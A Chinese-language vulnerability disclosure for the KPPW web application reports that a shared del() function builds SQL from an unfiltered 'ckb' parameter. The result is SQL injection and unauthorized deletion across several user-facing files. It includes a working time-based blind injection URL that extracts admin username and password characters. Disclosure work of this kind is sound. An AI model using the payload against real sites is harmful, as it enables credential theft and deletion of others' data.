### 简要描述:
KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权)
### 详细说明:
KPPW最新版SQL注入漏洞四(同一问题引发多处注入及越权)
文件/control/user/account_report.php
```
$objReportT = keke_table_class::get_instance('witkey_report');
if (isset ( $action )) {
switch ($action) {
case 'mulitDel' :
if ($ckb) {
$objTaskT->del ( 'task_id', $ckb );
kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' );
} else {
kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' );
}
break;
```
在$objTaskT->del ( 'task_id', $ckb );中,$ckb进入了del函数
跟着del函数,文件/lib/inc/keke_table_class.php
```
function del($pk, $val, $url = null) {
if (! $val) {
return false;
}
if (is_array ( $val ) && ! empty ( $val )) {
$ids = implode ( ',', $val );
$this->_table_obj->setWhere ( " $pk in ($ids)" );
} elseif ($val) {
$this->_table_obj->setWhere ( "$pk = " . $val );
}
$del_query = "del_" . $this->_pre . $this->_table_name;
return $this->_table_obj->$del_query ();
}
```
可以看到这里的val,既是ckb变量
当val不为空,且不为数字时,直接进入where条件语句中,切勿引号保护,导致sql注入
```
这里有一个bug:
del函数是/lib/inc/keke_table_class.php文件中的函数
但是在这里/lib/inc/keke_table_class.php文件实例化为:
$objReportT = keke_table_class::get_instance('witkey_report');
而$objTaskT这里是没有初始化的对象
导致无法触发这里的del函数
```
还有同意问题在文件/control/user/account_rights.php
因为这里的函数del,在文件/lib/inc/keke_table_class.php中,为一个全局的函数
很多地方都会调用:
[<img src="https://images.seebug.org/upload/201412/0715080751f92c67cedabe58b6e282e429711666.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/0715080751f92c67cedabe58b6e282e429711666.png)
这里后台触发就不管了(话说后天漏洞真是没人管。。。)
前台的一共有二十多个触发点和文件
部分过滤处理了
还剩下多出个可以出发的
```
/control/user/message_detail.php
/control/user/message_notice.php
/control/user/message_private.php
/control/user/shop_caselist.php
/control/user/transaction_released.php
/control/user/transaction_service.php
```
这里已/control/user/transaction_service.php为例:
```
$strModelName = $kekezu->_model_list[$intModelId]['model_code'];
$arrStatus = call_user_func ( array ($strModelName.'_shop_class', 'get_'.$strModelName.'_status') );
$objServiceT = keke_table_class::get_instance('witkey_service');
if (isset ( $action )) {
switch ($action) {
case 'mulitDel' :
if ($ckb) {
$objServiceT->del ( 'service_id', $ckb );
kekezu::show_msg ( '删除成功', $strUrl, NULL, NULL, 'ok' );
} else {
kekezu::show_msg ( '删除失败', NULL, NULL, NULL, 'error' );
}
break;
```
同意存在注入
二期这里在删除各种数据时,只根据id进行删除,没有判断用户属性,导致越权操作
删除任意用户权限下的内容
这里包括删除管理员创建的模块和数据都可以删除
### 漏洞证明:
SQL注入:
```
http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=service&action=mulitDel&ckb=1161 and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2)
```
看看SQL执行结果:
[<img src="https://images.seebug.org/upload/201412/071526335b23b42508b35280fd5d595e0d1f33e6.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/071526335b23b42508b35280fd5d595e0d1f33e6.png)
这里会延迟5秒后返回
[<img src="https://images.seebug.org/upload/201412/071532028e197eedcbdf796cd7c450209c25ffc1.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/071532028e197eedcbdf796cd7c450209c25ffc1.png)
说明UserName+password的第一个字符是a
这里的cbk就是服务模块的service_id
这里的cbk=1161是admin用户创建的模块,也是可以删除的,导致越权操作
暂无评论